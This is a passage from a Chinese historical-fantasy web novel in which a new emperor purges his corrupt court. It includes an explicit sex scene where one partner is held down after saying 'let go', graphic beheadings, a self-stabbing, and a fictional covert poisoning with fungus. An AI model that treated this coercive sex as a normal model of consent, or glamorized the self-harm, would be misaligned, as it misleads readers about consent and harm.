范青书将有用的奏折给了他,这些奏折的数量和无用的相比,简直是九牛一毛,屈指可数。 祁雁翻开来,发现里面竟有少许朱笔批注,诧异道:“这是季渊所批?” “是我,”范青书垂下眼帘,“先帝偶尔喝醉了酒,兴致上来,会让我帮他批奏折,可惜终究僭越之举,待他酒醒了,又会将这些折子作废。” 祁雁草草翻阅了一下,发现这些折子里说的竟全是大事要事,诸如某某地水患导致决堤,求朝廷拨款修缮,某某地大旱,粮食颗粒无收,求朝廷拨粮赈灾……甚至还有当年剑南大疫,节度使彭鸿飞询问赈灾款为何迟迟不到的奏折。 祁雁生生看笑了,这些折子最近的一封也在几个月前,现在才处理,还有个屁用。 他把东西一撇,站起身来。 所谓虱子多了不痒,债多了不愁,这朝堂上下早已经漏成了筛子,他也不着急处理这些事了,着急也没用。 “去找甲库调朝中官员的甲历给我,”祁雁又道,“再向史馆调这几年来的朝会记录,找御史台调各官员的监察记录,不论有没有缺损都给我拿来,哪怕是被火烧了我也要看到残本,去吧。” “是。” 范青书很快离开了,苗霜转过屏风,来到祁雁面前,颇有些幸灾乐祸地说:“也不知道是这些贪官污吏先被你吓死,还是你先把自己累死。” 祁雁已有些疲倦,处理这些乱七八糟的事情,真是比行军打仗还累,至少他手下的人大部分都听话,偶有几个不服管教的,他也有的是手段收拾,而现在么…… 这朝野上下,三省六部,简直是一团乱麻,祸乱朝纲的奸臣,贪污受贿的贪官,和一心只想混日子得过且过的草包,官官相护,把这京都搅得是乌烟瘴气。 偶有那么几个不同流合污的正常人,都让人感动得要落泪了。 祁雁叹了口气,这皇帝才当了两天,已经想撂挑子不干了,只得朝苗霜伸手:“夫人竟也不知安慰安慰我,还在这里说风凉话。” “你自找的,谁要安慰你,”苗霜无动于衷,“就看这大雍亡了多好,到时候天下群雄割据,你也当个节度使自立为王,日子不比现在快活。” 祁雁伸臂一揽,强行将他扣进怀中:“我若说真到了那一天,你我虽快活,受苦受难的却是百姓,夫人又要不高兴了——你这拿的什么?” 苗霜不知从哪翻出一个小盒子,正拿在手里摆弄,他将盒子打开来:“你猜猜看?” 祁雁看向盒中,只见里面趴着一只通体雪白的虫子,不禁目光一凝:“圣蛊?” 当然,是用来冒充圣蛊的“圣蛊”。 “季渊竟没用它,”祁雁道,“看来他到最后也没有真正相信你。” “那是自然,”苗霜将“圣蛊”放在自己手上,任由它从手心爬到手背,“获取一个多疑成性之人的信任,怕是比登天还难。” 祁雁:“我听宫里的小太监说,季渊这两年愈发疑神疑鬼,总是噩梦连连,该不会是你动的手脚吧?” “你说呢?” “你怎么办到的?”祁雁十分疑惑,“我看了太医给季渊配的方子,还有这宫里燃的香,都没问题。” “我可不会傻到那种程度,瑞王的人也不会傻到那种程度。” “那到底是怎么……” 苗霜将手里的盒子塞给他。 “是这‘圣蛊’?”祁雁看着在苗霜手上爬来爬去的虫子,“可我记得你说,这虫子没毒,只是好看。” 苗霜冲那盒子一挑下巴。 祁雁又仔细研究起盒子来,可盒子里面只有一些供蛊虫食用的药草,并无其他。 见他疑惑不解,苗霜才慢悠悠地从盒子边缘捏起一点极不起眼的白丝:“这是一种菌丝,只在特定的寄体身上存活,且需要适宜的温度和湿度,这盒子里的一切,刚好满足它的生存。” 祁雁:“……” “菌丝本身也没什么毒,只不过接触得多了,会轻微致幻,季渊本就有惊悸之症,夜半醒来,很容易将什么东西的影子看成鬼,自然惊恐不已,夜间惊悸连连,白日里也精力不济,长此以往,人当然更加疑神疑鬼。” 苗霜吹走指尖的菌丝,笑吟吟道:“谁又会在意药草上生出的一点菌丝,至于太医院那群没用的太医们,又有几人认得这是何物?” 他说着,用刚摸完菌丝的手摸了摸祁雁的下颌:“放心,不会用这种方式毒害你的,你现在虽然称不上百毒不侵,但寻常毒素也不对你起效,区区幻毒更是奈何不得你,我若想毒你,只能给你下猛药,毒倒了你,我就一走了之——” 祁雁眉头一跳,果断堵住了他的嘴。 尽说些不中听的话,还是堵上为好。 第124章 第 124 章 不由分说地勾开了衣带…… 苗霜被他按在了书案上, 碰落了几份除了给人添堵并没什么用的奏折。 停在他手上的蛊虫被惊动,振翅飞走,又迅速隐没了身形, 和周围环境融为一体。 祁雁狠狠在他唇瓣上亲吻啃咬,似乎要将那些不中听的话全部嚼碎了吞进肚子里去, 桌子的边沿硌着苗霜的后背,细微的疼痛反而更让人兴奋。 自从那天晚上他被祁雁绑回皇宫, 这两天就没怎么闲着,当然,是被动没怎么闲着,他也不是很理解姓祁的哪来这么多精力,白天忙着处理这些琐碎事务,晚上还有力气干|他。 正伸手想要去勾对方的脖子,却忽然腰间一紧,紧接着,他被人翻了个面, 在书案上改靠为趴。 苗霜愣了一下,随即面色染上薄怒:“放开我。” 祁雁自然知道他不喜欢背对, 可他偏偏要挑战对方的底线,就像苗霜屡次挑战他的底线,手指不由分说地勾开了他的衣带,松松垮垮的衣服自肩头滑落,露出白皙的脊背。 双手被反剪到身后,苗霜试着挣扎了一下, 可现在的祁雁力气大得惊人,竟没能挣动。 祁雁单手扣住了他双手,另一只手按着他的后颈, 苗霜整个人被按在桌子上,身下是铺了满桌的奏折。 按理说他们不该在这种地方干那种事,可越是这般,就让越人产生汗毛倒竖般的快意,苗霜正要给他下毒的手指倏地停住,挣扎缓和了下来。 祁雁倾身入内,不顾他反抗地横冲直撞,书案在苗霜身下不停晃动,奏折摩擦着胸前,很快磨碾得殷红欲滴。 白皙的皮肤渐渐泛出粉色,令人意乱神迷的酥|麻自脊椎攀上,似要将身体点燃,让他情不自禁地想要仰起后颈,因这动作而愈发突出的喉结艰难滚动,发出不堪入耳的声音。 明秋守在屏风外,拦住了正欲入内的范青书,委婉道:“还是晚些再进去吧。” 范青书听着里面让人浮想联翩的动静,表情变得古怪至极,压低声音问:“他们以前也这样吗?” “一直都是。” “……”范青书一言难尽,开始怀疑自己是否真的遇见了明主,沉默了半晌才道,“要多久结束?” “才刚开始呢。” 范青书看着他习以为常的表情,忍不住拍了拍他的肩膀:“你辛苦了。” 里面的两个折腾起来没完,他们这些当太监的只能在外面候着,还好是太监,倒也不至于听起了反应。 闲得无聊,只能聊天打发时间,范青书又问:“陛下已经知道你是瑞王的人,怎么还让你侍候左右?” “奴婢已经不为瑞王效力了。”明秋道。 “陛下相信?” “陛下说,就算我还是瑞王的眼线,也总好过用些完全不知底细的人,两害相权取其轻。” 范青书无言以对。 这位陛下虽然也多疑,却又和季渊不是同一路人,换作季渊,哪怕有一点点疑虑也是先杀再说,而祁雁有他自己的考量标准,疑人不用,疑人可用,用人不疑。 但愿他真能为大雍的局势带来转机。 不,应该叫大景了。 两个太监在外面四目相对地听完了全程,动静终于渐小,范青书咳嗽一声:“陛下。” 又过了一会儿,里面传出祁雁略微嘶哑的声音:“进。” 范青书绕过屏风入内,偷偷抬头瞄了一眼,只见那位大巫还跪在桌前,猩红的眼眸透着些迷离,身上披着的衣服盖住了所有不该被旁人看到的景象,但那衣服好像是陛下的。 祁雁慢慢整理好了衣冠,问道:“让你调的东西呢?怎么空着手回来?” 范青书收回视线,拱手道:“史馆失窃,所有朝会记录都不见了,御史台前日不慎失火,官员们的监察卷宗已付之一炬,连残本也没剩下。” “……”这个结果丝毫不出乎祁雁的意料,他冷笑了下,“别告诉我甲库也烧了。” “这倒没有,但他们说朝中官员的甲历数量庞杂,他们需要一点时间整理,等整理好了,第一时间给陛下送来。” “是需要时间整理,还是需要时间篡改啊?” 范青书低下头去。 “罢了,”祁雁有些烦躁地摆摆手,“你去吧。” 范青书正要离去,候在外面的明秋却突然开口:“陛下,御史台众御史求见。” “哦?”祁雁不咸不淡道,“先放火烧卷宗,再向朕负荆请罪,朕倒要看看他们能玩出什么花样。” 他说着站起身:“让他们进来。” 苗霜一动不动地趴在桌上,享受了半天未散的尾韵,听见这话,才慢吞吞地穿好衣服。 御史台离他们所处的紫宸殿并不远,很快外面就传来几道脚步声,五六个御史抱着一大堆卷宗进入殿来,为首的那个不是别人,正是御史大夫朱成功。 朱成功一撩衣摆就要跪:“臣……” 他一句话还没说话,祁雁已经一摆手:“不必多礼。” “是,”朱成功又强行控制住了自己的膝盖,上前一步,“臣……” “明秋,看茶,”祁雁吩咐下去,“诸位御史,别站着了,坐吧。” 御史们面面相觑,有些拿不准这位皇帝的心思,虽然朝中没人不认识祁雁将军,但这京中和他真正接触过的却并不多。 “抱着这一大堆东西来见朕,目的为何啊?”祁雁在椅子上坐了下来,吹了吹送到手中的茶,“别告诉朕这是御史台烧毁的卷宗。” “呃……正是,”朱成功从身后跟着的御史手里拿过几本卷宗,放在祁雁面前,“朝中百官监察记录,无一缺漏,这只是一小部分。” 祁雁随手翻了翻,确实不是新写的,将吹得不烫的了茶递给苗霜,黑沉的眼眸看向御史大夫:“朱大人这是何意?朕刚听闻御史台失火,所有档案付之一炬,现在这些东西又完好无损地出现在朕面前,朱大人,你在戏耍朕?” “不敢,不敢!”朱成功连连摆手,慌忙解释道,“御史台的确失了火,但烧毁的确不是卷宗,臣早就知道有人要趁乱纵火,故命手下御史们提前将这些卷宗转移到了安全地方,现在,这个纵火贼已经被我们抓住了。” “哦——”祁雁露出了然的表情,“原来是朱大人放长线钓大鱼,既如此,那纵火者背后何人哪?” “这个……”朱成功露出窘迫之色,“他一被抓住,就……服毒自尽了,没来得及审问。” 祁雁重重将茶杯搁在桌上,几滴茶水溅了出来。 “但这些卷宗都保住了!”朱成功突然起身,一跪至地,“陛下!先帝无能,致使朝中奸臣当道,臣等所行监察之责遭层层掣肘,御史台早已形同虚设,请陛下为臣等做主啊!” 众御史纷纷随他跪地:“请陛下为臣等做主!” 祁雁头痛地捏了捏眉心。 “陛下,我等苦这些奸佞良久!”一个御史跪直了身体,义愤填膺,“御史台奉帝王之命,察查文武百官,理应为皇帝肃清朝纲,弹劾昏渎,可先帝闭目塞听,为翦除异己大肆杀伐,致使朝中奸佞当道,八年来,御史台弹劾成功者竟百中无一啊!” “弹劾成了落不着好,弹劾失败了还要被罚,久而久之,谁敢还说话?!”另一个御史道,“我看这御史台不如撤了算了,从位卑言重,到位卑言轻,既然皇帝不听,还要我们这些御史何用?!” 说到这里,众御史纷纷激动起来,满肚子的委屈和愤怒,你一言我一语,就差撸起袖子干架了。 祁雁看着他们,心情颇有些复杂,虽然知道这位御史大夫也没少吃贿赂,从他那小儿子的嚣张气焰就可窥见一斑,但不论他怕了也好,幡然醒悟也好,至少还知道回头是岸。 至于他手底下这些人,或许是年纪轻,皆是血气方刚,没说几句话已经开始破口大骂,若非此等心性,也确实当不了御史。 这个朝堂至少还没烂透,还有那么几个愿意干活的人。 御史们吵吵了半天,不知是谁吵得眼睛都红了,高声道:“若是陛下也不管,那我现在就脱了这身官服,辞官不干了!” 众人纷纷附和:“不干了!” 朱成功想要让他们别说了,可激动起来的御史们哪里肯听他的话,于是他只好给祁雁赔笑,脸都快笑僵了。 “你们能不能不吵了?”苗霜在旁边听着,终于忍无可忍,“陛下若不想管,又何必找你们调卷宗呢?你们难道以为陛下也和你们一样,拿卷宗是烧来玩的?” 众御史停下争吵,其中一个看向他:“你是何人?” “……放肆!”朱成功急忙踹了他一脚,“还不快见过大巫!” 这群没眼力价的东西,没看见刚才陛下吹好的茶自己不喝先让给大巫吗,还有扔了满地的奏折,那纸面上的褶皱以及大巫锁骨上隐约露出的一抹墨痕,还看不出这里刚刚发生过什么? 忤逆了陛下,陛下不一定会把他们怎么样,但要是忤逆了大巫,就等着挨收拾吧。 苗霜笑吟吟地看着这些御史,刚刚还闹着要辞职的御史们此刻全都不吭声了,莫名觉得如芒在背,一个个低下头去。 也不知道这股突然蹿起的寒意是从何而来,御史们磕磕巴巴道:“见、见过大巫。” “久闻……大巫盛名,散关一战,三千人马退十万之兵,今日有幸得见,果、果然名不虚传。” 这些御史说起别人的坏话来滔滔不绝,说几句好话却是要了老命,苗霜忍不住笑出声来:“我不掺和你们的事,还望各位大人高抬贵手,别把我也塞进你们的奏疏里。” “那、那自然是……” “行了,”祁雁打断了他们,“废话少说,既然这里的卷宗只有部分,那就去把剩下的也给我拿来,还有,既然你们对朝臣如此不满,那弹劾的折子也一并写好了给我呈上来。” 话音未落,御史们齐齐上前,从袖子里掏出奏本。 每人都是厚厚一沓。 祁雁看着这堆积如山的海量文本,眼前一黑。 第125章 第 125 章 天子一怒,伏尸百万…… 祁雁以最快的速度打发走了所有的御史。 很快, 御史台送来了剩下的卷宗,甲库也送来了官员们的甲历,祁雁看着这满满几大箱子的东西, 感觉头都痛了起来。 无奈,只得逐份开始翻阅。 苗霜没有任何想要帮他的打算, 歇了一会儿,那股倦懒的劲儿过去, 便开始四处闲逛,顺便抓回了逃跑的“圣蛊”。 这偌大皇宫,当真有许多他没见过的新鲜玩意,光是看上一遍都得花不少时间,可没空再顾别的。 他逛他的,祁雁忙祁雁的,两人谁也不干扰谁。 殿内只剩纸页翻动的声音,以及苗霜时不时挪动物品的声音。 祁雁翻阅着卷宗,越看越觉得触目惊心, 各官员的罪状加起来没有一千也有八百,这还仅仅是京中官员, 不算地方官员。 忽然他指尖一停。 纸页上出现了熟悉的名字,不是别人,正是他自己,毫无疑问,这是两年前“祁雁谋逆”一案的相关卷宗。 再看到这些记录,心里已经说不上是什么样的滋味, 他慢慢翻看了下去,果然看到御史弹劾他的诸条罪状,但同时, 也有为他说话的人。 谋逆这种罪名,谁沾谁死,加上没人不知季渊残暴,当年京中百官几乎无人敢替他喊冤。 只有这些脑袋和嘴共用一条命的御史,敢在奏疏中据理力争。 弹劾他的是御史,维护他的也是御史,当然,最后的结局谁都知道,他现在只想看看这些为他说话的御史怎么样了。 他寻着名字一个个翻看了过去,心情顿时沉到了谷底。 这些人竟全部被季渊以祁雁同党之名处斩。 那时他早已被下了大狱,对外界发生的事一概不知,等他再从牢里出来,一切已是尘埃落定,这些事他竟到现在才知晓。 祁雁意味不明地笑了下,忽然便厌倦至极,不想再看下去了。 他走到窗边,望着这金碧辉煌的皇宫,视线落向廊下阴影:“如果当年我被调回京都时,直接率兵反叛,是不是就能救下所有人?” “率什么兵,你的雁归军吗?”苗霜不知从哪冒出来,“京中禁军十五万,几乎两倍于你的兵力,你打得过吗?” “不试试又怎么知道。” “你别忘了,那时季渊手下还有几个将领可用,就算你真能打赢,也免不了一场血拼,季渊若见势不妙,定从别处调兵支援,你觉得河东是愿意帮季渊,还是愿意帮你?” “……” 苗霜走到他跟前来:“就算范阳有意帮你,也得斟酌斟酌究竟值不值得,多半会选择隔岸观火,明哲保身。最好的情况,你打赢了他们所有人,那你的雁归军还能剩下多少人,京中又能剩下多少人?大雍兵力大损,狄历必定不会放过这个机会,到时候,你又要用什么和他们打呢?” 祁雁闭上眼睛。 “届时边关失守,割城让地,用无数将士和百姓的鲜血铸就的皇位,便是你想要的?你猜猜那时候的自己,会不会又在后悔,‘如果当时我没有起兵反叛,是不是就能救下所有人’?” “天时地利人和,你一个都不占,”苗霜无情地戳破他的幻想,“醒醒吧祁雁,别再折磨自己了,已经发生的注定不能挽回,与其去懊悔那些,不如想想该怎么收拾好眼前的烂摊子。” “……夫人教训得是。”祁雁深吸一口气,没再和他对视,回到书案边继续看卷宗。 苗霜有些奇怪地看了他一眼,莫名觉得这人哪里不对劲,可见他已经坐下了,便也没再说什么。 元兴元年,四月十五。 这是改朝换代以来第一次正式朝会,祁雁提前下达诏命,任何人不得以任何理由缺席朝会,违令者以谋逆论处。 一听这消息,原本已经逃离京都外出避难的官员又马不停蹄地跑了回来,各种头疼脑热腹痛骨折的大臣们一夜之间不治而愈,堪称医学奇迹。 宣政殿恢宏庄严,大殿之上,文武百官分列两侧,祁雁一身玄色龙袍,金龙绣于其上,栩栩如生,威风凛凛,帝冕上旒串垂落,玉珠晃动间,一张张神色各异的面孔映入眼帘。 新帝即位数日,还没对前朝官员进行任何处置,只是遣散了后宫男宠,窝在紫宸殿里看了三天卷宗。 那些本该烧毁的卷宗不知为何又完好无损地到了新帝手中,一干大臣们惴惴不安,偷偷抬眼看向御史大夫朱成功,朱成功目不转睛地盯着手中笏板,任凭大臣们的视线把他瞪穿了也没敢回头。 祁雁坐在龙椅上,摸了摸扶手上的龙头,俯看满朝文武:“诸位爱卿怎么这般沉默,大景第一次朝会,你们难道都无本要奏?” 臣子们连大气都不敢出,更别提上奏了,朝堂之上鸦雀无声。 “好吧,既然你们不说,那朕来说,近日,御史台向朕呈交了数份奏疏,弹劾文武百官,诸位,可都在其列啊。” 他笑着说出这番话,语气十分温和,仿佛只是在同群臣开个不大不小的玩笑。 堂下顿时传来一阵嘈杂,有人肉眼可见地慌了神,尽可能压低声音,咬着牙对朱成功道:“朱大人!你怎么说话不算数啊!” “朕的耳朵可比各位好使,在朕的朝堂上交头接耳,并无必要,有什么话不妨大声些,让大家都听听,”祁雁一招手,一旁侍候的小太监便奉上一沓奏疏,他从里面拿起一本,“你说是不是啊,赵大人?” 话音落下,那份奏本便从高高的御座之上凌空飞来,径直砸在了那位窃声低语的官员脸上。 那官员被砸得笏板差点掉了,急忙接住奏本,打开来一看,里面赫然是御史弹劾他的种种罪状。 他大惊失色,当堂跪倒:“陛下恕罪!” “不急,人人有份,”祁雁冲小太监招了招手,“来,给各位大人都发下去。” 几个太监开始在朝堂上发奏本,除了众御史外,几乎人手一份,连御史大夫本人也没能逃过。 朱成功看着手下御史弹劾他的奏疏,绝望地闭上双眼。 奏疏里的罪状可大可小,有的官员看完奏本,长舒一口气,有人则开始痛哭流涕,跪地求饶。 “别光顾着求饶啊,有冤伸冤,怎么,都无冤可伸吗?”祁雁站起身来,顺着御座前的台阶逐级而下,“那朕便认为,御史们所言非虚——” 他停在一个跪地的大臣面前:“是吗,孙大人?” 那大臣惶恐至极,跪在地上,笏板都拿不稳了,两股战战汗流浃背:“臣……臣……” 祁雁便绕着他踱起步来:“吏部尚书,六部之首,统领百官,本该为朝廷选贤举能,然多年来,却大肆推举庸才,致使皇帝身边奸佞横行,朝野内外乌烟瘴气——孙大人,你该当何罪啊?” 那大臣一叩至地:“臣……罪该万死!” “罪该万死,”祁雁冷笑了下,忽然眉目一凛,音量陡然拔高,“那朕便赐你速死!” 腰间佩剑骤然出鞘,剑鞘雕龙的天子剑奢华威严,雪亮剑刃锋利无比,还没人看清楚他的动作,那剑锋已然落下。 吏部尚书的脑袋就这么离开了他的脖子,因为动作太快,鲜血甚至迟了一瞬才从颈项间喷涌而出,尸身和头颅重重跌落,将纤尘不染的地面晕成血红。 任谁也没想到祁雁竟当堂杀人,文武百官皆是一愣,紧接着群臣纷纷跪地:“陛下息怒,陛下息怒啊!” 离得近的臣子径直跪进了自尸身流出的血泊,那颗离颈的人头几乎跟他脸贴着脸,他吓得面色惨白,近乎晕厥。 祁雁并未理会朝臣的求请,提着染血的天子剑,继续走向下一个,在光可鉴人的地面上踩出数枚染血的脚印。 “近些年来,各地天灾不断,地方官员上奏朝廷,求朝廷拨款赈灾,可这些赈灾款发下去了,却没到百姓手中,究竟落进了谁的口袋?” 祁雁停下脚步,看向跪在面前的官员:“户部尚书郭大人,借职务之便贪污灾银,欺下瞒上,致使灾银迟迟不到位,各地灾害赈无可赈,无数百姓因灾枉死,民生凋敝,路有饿殍——罪无可赦,斩立决!” 又一颗脑袋落在地上,血点溅上祁雁的脸,浓重的血腥气在大殿上空飘散开来。 血珠顺着剑尖滴落在地,祁雁又转向下一人,厉声命令:“郑大人,站起来。” 那官员颤颤巍巍地站起身,全然不敢和祁雁对视,他掌心满是冷汗,快要握不住手中笏板:“陛、陛下……” “刑部与大理寺共同审理京中案件,本该秉公执法,然……” 祁雁死死盯着他的脸,盯着这张在大牢里见过无数次的脸,腐臭刑房中的血腥气和这大殿之上如出一辙,砭骨的剧痛犹笞周身,经年累月仍挥之不去。 他用力咬牙,一如受刑忍痛:“刑部尚书,身居高位,却畏惧皇权,看风使舵,滥用私刑,致使无数官员屈打成招,令忠臣蒙冤,奸佞之徒逍遥法外!” 五指用力握住了剑柄,攥得指节泛白,他几乎用尽了全身力气,才能忍住不当场砍了他。 “……种种劣迹,罔为人臣,自即日起逐出京都,贬为庶民,永不复用,三代之内不得入朝为官!” 刑部尚书闻言,错愕地瞪大双眼,不敢相信自己的耳朵,片刻才膝盖一软,跪地磕头,声嘶力竭:“臣,谢恩!” 祁雁慢慢呼出一口气,痛苦地闭上眼睛,转过了身。 他终究是不能为父报仇,让朝臣为祁家横死的三百余口偿命。 他大可一怒之下砍了这朝堂之上所有人,可而今新朝刚立,正值用人之际,朝中本就被季渊杀得没剩几个可用之才了,若是不分青红皂白全杀完,那他又和季渊这个暴君有什么区别? 水至清则无鱼。 哪些人该杀,哪些人不该杀,哪些人不能杀,不容有失,不得错漏。 至少现在不能。 手里的天子剑忽然重逾千斤,他低头看着那雪亮剑刃上流淌的血,看着镜面般的剑身上映着自己的面容,玉旒晃动,他从未觉得这帝王的冠冕是如此的沉,沉得快让他抬不起头来。 这大殿上的血腥气令人作呕,他握着剑,只觉得剑刃砍下的不是朝臣的脑袋,而是他自己。 心口剧烈地疼了起来,这毛病许久未犯,不知为何又在今日造访,他强忍着恶心和晕眩,继续走向下一人:“兵部侍郎,贪污军饷,中饱私囊,仗三十,没收家财,发配岭南。” “谢陛下!” “礼部……” “工部……” “中书省……” 他一个个点下去,种种罪状一一罗列,最终,他停下脚步:“御史大夫朱成功。” 朱成功深吸一口气:“臣在!” “御史台察查百官,尔身为御史大夫,却趁职务之便,收受贿赂,干扰督察,实违御史之职,令人不齿。” 朱成功低下头去,面色灰败。 “然……”祁雁看着他,只觉身心俱疲,“念及尔保护御史台卷宗有功,知错能改,善莫大焉,朕愿意再给你一次机会,从轻发落。” 朱成功周身剧震,猛地抬起头来。 “死罪可免,活罪难逃,仗二十,所有受贿所得充归国库,罚禄三年,若再有下次,严惩不贷!” 朱成功眼含热泪,跪地磕头:“臣,叩谢圣恩!” 祁雁慢慢转过身,往御座之上走去。 染血的脚印向前延伸,大殿之内一片狼藉,活人和尸首共处一堂。 他又回到了群龙盘绕的龙椅上,心口的窒痛已经攀升到了顶峰,让他快要无力支撑完这场朝会。 视野变得模糊,玉旒晃动,珠串间隔着看不清的文武百官,他最后一次开口:“这朝堂之上,还有一人。” 刚刚死里逃生的官员们才松口气,闻言又不禁紧张起来。 “弑君谋逆,犯上作乱,连累亲族,祸及无辜,愧对于天,愧对于民,十恶不赦,罪不容诛。” 机灵的朝臣立刻听出了他在说谁,有人上前一步,就欲开口,却见御座之上的天子再次举起了那把染血的天子剑: “那个人……是朕!” 第126章 第 126 章 朕发起疯来连自己都砍…… 苗霜正在紫宸殿后殿安置自己的虫罐。 紫宸殿集办公休闲娱乐于一身, 属于内朝便殿,前殿是日常工作、例行会见朝臣之所,后殿则是寝殿, 供天子休息。 这样的配置对于勤政的皇帝来说很是方便,但对于那些耽于享乐, 不问政事的皇帝来说就实在多余了——比如季渊。 季渊在位八年,从没在紫宸殿住过一天, 这对苗霜他们来说倒也是好事,毕竟他不喜欢住别人住过的房子,皇宫里寝殿那么多,住哪不是住,何必捡别人剩下的。 苗霜十分高兴地在殿内殿外安置自己的虫罐,虽然他的蛊虫在北方很难存活,不过现在夏天已至,不用担心温度的问题,冬天皇宫里亦有地龙, 说不定也能顺利越冬。 再或者,他可以尝试培育一批耐寒的品种, 若是成功了,他久居北方也不至于无虫可用。 转瞬间他已经进行好了未来十年的规划,候在他身边帮他搬运虫罐的太监宫女们不禁十分惶恐,有怕虫的已是脸色惨白,看都不敢往虫罐里看上一眼。 这么个漂亮的美人一脸笑意地玩着一大堆可怖的虫子,那画面别提有多惊悚, 也不知道这新帝祁雁究竟是什么癖好…… 正在这时,忽然有小太监急匆匆地向苗霜跑来,慌张道:“大巫, 不好了,陛下出事了!” “他能出什么事,”苗霜头也没抬,“难不成是在朝堂上砍大臣,反而被大臣们砍翻了?” “不、不是!”小太监压低了声音,“是陛下自己伤了自己!” 苗霜动作一停。 他有些诧异地回过头来:“伤得严重吗?” “太医们全都束手无策,”小太监急得鼻尖冒汗,“大巫,您快去看看吧!” 苗霜微微沉下脸色,放下虫罐站起身来:“前面带路。” 如果是别人伤了祁雁,那他反而不担心了,可如果是他自己伤了自己…… 他突然有种不太好的预感。 苗霜跟着小太监快步来到宣政殿,朝会已经结束,但大臣们却还没完全散去,他隐约听到议论的声音: “怎么回事啊……这不会刚换了皇帝,又要换皇帝了吧?” “嘘,这么大声你不想活了?” 苗霜皱了皱眉。 小太监在前引路:“大巫,这边。” 祁雁已经被转移到了僻静的地方,周围架着几道屏风,还没靠近,苗霜就留意到地上的血迹。 四五个太医将人团团围住,脸上的表情沉重得好像在为自己即将失去的脑袋哀悼,苗霜瞥了他们一眼,也懒得向他们询问,开口道:“让开。” 太医们迅速为他让开位置,苗霜走近了,就看到某个人生死不明地躺在竹榻上,鲜血洇湿龙袍,将襟前的金龙都染成了红色。 他蹲下身来,拉开已被解开的衣服,就看见祁雁胸前有道伤,约莫一寸长,正中心口,血还在顺着伤口往外冒。 他眉头蹙紧:“剑伤?” 太医们纷纷点头,面露难色:“一剑贯心,这……这该如何……” 苗霜却没搭理他,又问:“哪来的剑?” 候在旁边的小太监壮着胆子,指了指旁边:“是、是天子上朝所配仪剑……” 苗霜这才看到立在旁边的天子剑,剑身上的血迹还未干,剑刃最宽处一寸许,可不正是凶器无疑。 一股无名怒火自心头蹿起,他强压着怒意,将指尖搭在祁雁脉上摸了摸,而后冷笑道:“放心,死不了。” 不过是正中心脏而已,不过是捅了个前后通透而已,区区小伤。 他随手从袖子里摸了个小瓷瓶,把里面的蛊虫倒在祁雁伤口上,几只白里透粉的小蜘蛛顺着伤口爬进,没过一会儿又爬出,在皮肉上一番操作,伤口像被牵拉一般迅速闭合,血也不再冒了。 苗霜收回蛊虫,没好气地踹了某人一脚:“起来!” 太医们在旁边眼睛都看直了,又见他踹这一脚,更是吓得惊呼连连,这天底下有谁胆敢踹真龙天子,一人急忙伸手阻拦:“大巫手下留情啊!陛下他还身负重伤……” 苗霜冷冷望向他,那太医登时一缩脖子,迅速收回了手。 下一秒,就见刚刚还生死不知的天子居然真自己坐了起来。 祁雁头痛欲裂地按住自己的太阳穴,视野异常模糊,耳边嗡鸣不止,他完全看不清也听不清,很想搞清楚究竟发生了什么,可大脑里却只有一片空白。 这是怎么了…… 太医们见他竟能起身,不禁大惊失色,连连后退,一脸惊恐地看向苗霜。 祁雁尝试动用内力压制浑身不适,可刚一催动,心口处就传来一阵撕裂般的剧痛,疼得他剧烈咳嗽了几声,捂住自己的心口。 指尖摸到潮湿的龙袍,摸到龙袍上的破口,他动作一顿。 他低下头,看到自己满手鲜血,余光扫到立在一旁的天子剑,因为失血过多而停止运转的大脑终于想起之前发生了什么。 他……用剑刺伤了自己? ……剑? “还愣着干什么,还不赶紧扶陛下回去休息?”苗霜吩咐太监们道,又转向太医,“你们可以散了,记得去告诉那些朝臣,陛下没事。” “是……” 小太监上前搀扶祁雁,祁雁挣扎着站起身来,往寝殿方向走。 太医们看着他的背影,还未从惊惶中回过神来:“巫医……绝对是巫医!这种伤势怎么可能救活啊!” “我觉得不是巫医的问题,是陛下原本就没事吧,刚刚咱们都给陛下看了,虽然心脏被刺穿,但脉搏一直没停……” “这……陛下他当真是还是人吗?之前闹鬼的传闻……” “快闭嘴吧,想要脑袋就别再说了。” 苗霜没搭理这群没见过世面的太医,刺穿心脏又有什么大不了的,被蛊虫强化过的身体自愈能力远超常人,即便是致命部位遭到损伤,蛊虫也会迅速将伤口修复好,就算他不给祁雁治疗,再躺上一会儿伤口也要愈合了。 只要不是直接把脑袋砍下来,一般都没大事,就算真把脑袋砍下来了……及时接回去,说不定也还能活。 回到寝殿时,祁雁已经缓过来很多了,苗霜把明秋喊来帮忙,明秋见状愣了一下,什么都没多问,帮祁雁脱下染血的龙袍,打湿毛巾,给他擦拭身上的血迹。 祁雁有些头晕,一动也不想动,合眼坐在龙榻上任人摆弄,明秋反反复复帮他擦拭了几遍,又换上干净衣服,提着一桶血水离开了房间,屋子里的血腥味终于渐渐散去。 苗霜坐在不远处看着,目送明秋离去,这才不阴不阳地开口:“你去朝堂上砍人,怎么把自己也砍了?季渊的爱好是没事砍两个人玩,你的爱好是没事砍自己两刀?” “……”祁雁感觉到他的攻击性,自知理亏,竟也不好还嘴,犹豫了一下才道,“我那时……不知为何,一时控制不住自己。” “不就是用了剑吗,有什么大不了的,”苗霜从桌上拿起那把顺手捡回来的天子剑,放在手里细细端详,“这天子剑差点斩了天子,今后……” 祁雁抬起头,恰好看到他拿着那把剑,剑身上未擦的血迹和那红衣白发的人刺伤了他的眼,他瞬间瞳孔收缩,什么都听不见了,只看到苗霜嘴唇开开合合,却不知他在说什么。 脑子里传来尖锐的疼痛,像是被一根针狠狠刺穿,他嗓音颤抖着开口:“……放下。” 苗霜向他看来:“什么?” “放下,我让你放下,放下!”祁雁突然怒喝出声,猛地起身上前,一把夺过苗霜手里的剑,仿佛那剑柄烫手般,将它用力地丢了出去。 金铁碰撞地面发出巨大的声响,苗霜被他的举动吓了一跳,只见他死死瞪着那把染血的剑,面色惨白,脖子上青筋凸起,胸口剧烈起伏。 他居然在祁雁眼中看到了恐惧。 而恐惧的源头不是别的,正是昔日从不离手的剑,堂堂剑修竟会畏惧自己的武器,避之如避蛇蝎。 何其荒唐。 腰间传来难以忽略的痛楚,苗霜低下头,才看到是祁雁的手紧紧扣住了他的腰,因为过于用力,指尖几乎要抠进他的皮肉。 这家伙明明没有作为泊雁仙尊时的记忆,为什么还会有这么大的反应…… 他记得祁雁之前说他只能用剑切磋,不能用剑杀人,是因为今日用剑杀了人? 还是……因为此刻面对着的是他? 苗霜看了看身上的衣服,他都没留意自己今日竟穿了一身红,他也不是每天都穿成这样,只是今天高兴,便穿上了。 现在看来,这场面似乎和他们在万魔峰上决一死战时如出一辙。 